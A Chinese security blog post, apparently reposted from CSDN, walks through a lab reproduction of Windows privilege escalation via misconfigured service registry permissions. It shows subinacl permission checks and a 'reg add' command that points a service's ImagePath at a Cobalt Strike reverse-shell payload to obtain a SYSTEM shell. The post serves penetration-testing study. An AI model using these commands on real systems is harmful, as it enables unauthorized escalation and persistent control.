首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[权限提升] Windows 提权 & 维持 — 系统错误配置提权 - 注册表权限配置错误提权

  • 25-02-20 14:41
  • 3551
  • 8578
blog.csdn.net

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:注册表权限配置错误提权原理

通常 Windows 中的服务都是以 System 权限运行的,而 Windows 的服务程序的启动路径又是存放在注册表中的,若注册表配置不当,导致低权限用户可以更改注册表项时,就可能造成提权漏洞。

攻击者可以通过修改注册表中服务的 imagepath 值,将其替换为恶意程序路径,当服务重新启动时即会以 System 权限执行恶意程序,导致提权:

0x02:注册表权限配置错误提权环境配置

复现环境

  • 靶机 Windows 7:IP 192.168.0.132

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端

  • 攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境

0x0201:创建 Windows 服务程序

以 Administrator 系统最高管理员身份登录 Windows 7 靶机中,打开 CMD 窗口,输入下面的命令创建一个 WIndows 服务程序:

  1.  # 随便创建的,testServer.exe 其实不存在
  2.  sc create testService binpath= "C:\testServer.exe"

0x0202:查询系统服务信息 - 通过注册表

然后我们来注册表中查询一下我们上面创建的这个服务的信息。按住 Win + R,在打开的 “运行” 窗口中输入 regedit 来打开注册表:

定位注册表中的下面这个路径,这个路径就是存放 Windows 服务信息的:

 HKEY_LOCAL_MACHINE\system\ControlSet001\services

在上面这个路径中找到我们刚刚通过命令行创建的 testService 服务:

如上,成功找到,说明我们服务创建的没问题。

0x0203:授予低权限用户注册表编辑权限

1. 授予低权限用户注册表编辑权限 — 图形化方式

右击上面找到的 testService 服务的文件夹,然后按照下面的图片,给 Users 普通用户组授予对 testService 服务的完全控制权限:

2. 授予低权限用户注册表编辑权限 — 命令行方式

工具获取:subinacl.zip

以命令行方式授权需要用到 subinacl 工具,将工具上传到靶机,并在工具的同级目录下打开 CMD 窗口输入以下命令即可授予 Users 用户组对 testService 服务的完全控制权:

 subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService" /grant=Users=f

执行完上面的命令后,你要是去查看注册表,会发现 testService 服务的权限中,Users 用户组被授予了 “完全控制权限”,证明我们上面的命令有效:

0x03:注册表权限配置错误提权漏洞复现

0x0301:拿到靶机低权限用户 Shell

首先让靶机中的一个低权限用户上线 CS,这里笔者是通过 CS 制作 Windows 后门程序,让靶机中的 test01 用户上线了,该用户属于 Users 用户组,是一个普通权限的用户:

如上,拿到靶机中的一个低权限用户 Shell,下面我们开始通过 “注册表权限配置错误漏洞” 进行提权。

0x0302:获取靶机中所有的服务

输入下面的命令,获取靶机中的所有服务信息:

 sc query type= all state= all |findstr /i service_name.* |more

0x0303:使用 subinacl 查询服务权限

工具获取:subinacl.zip

将 subinacl 上传到靶机上,然后我们开始一个一个的查询服务的权限,笔者以最后两个服务为例(WwanSvc 与 testService):

  1.  # 查询 WwanSvc 服务的权限
  2.  subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\WwanSvc" /display

然后查询 testService 服务信息:

 subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService" /display

如上,我们查询到针对 testService 服务,本地的 Users 用户组,具有完全控制权限,恰巧,我们拿到的用户就是 Users 用户组中的成员。

0x0304:查询注册表中服务的 imagepath 值

输入下面的命令,查找注册表中 testService 服务的 imagepath 值,即该服务的启动程序的路径:

 reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService /v imagepath

0x0305:替换注册表中服务的 imagepath 值

输入下面的命令,将注册表中 testService 服务的启动程序路径替换为我们的恶意程序(通过 CS 生成的 Windows 反弹 Shell 的木马程序)路径:

 reg add "HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\test01\Desktop\artifact.exe" /f

输入下面的命令查询一下 testService 服务的 imagepath 信息是否被修改:

reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\testService /v imagepath

如上,可以看到,注册表中的 testService 服务的启动程序路径已经被我们修改了,接下来,我们只要等待管理员启动服务即可提权(要是设置服务为开机自启,就只需要等待电脑重启就能拿到高权限了)。

0x0306:等待管理员启动服务 & 提权

我们以 Administrator 登录 Windows 7 靶机中,输入下面的命令,手动以管理员权限启动 testService 服务,同时留意 CS 中的信息:

sc start testService

如上,当管理员运行 testService 服务时,靶机成功以 SYSTEM 权限上线 CS,提权成功。

Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145422336"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top